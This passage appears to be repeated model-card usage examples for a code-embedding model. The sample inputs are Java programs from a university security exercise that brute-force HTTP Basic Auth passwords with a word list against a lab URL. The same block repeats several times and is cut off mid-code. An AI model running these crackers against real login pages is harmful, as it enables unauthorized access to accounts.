{\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new 